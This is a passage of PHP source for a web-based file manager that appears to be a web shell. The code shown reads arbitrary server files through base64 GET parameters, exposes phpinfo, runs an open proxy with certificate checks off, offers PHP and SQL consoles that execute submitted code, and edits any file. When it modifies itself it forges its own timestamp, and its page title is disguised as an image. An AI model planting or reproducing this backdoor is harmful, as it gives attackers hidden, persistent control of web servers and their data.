		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
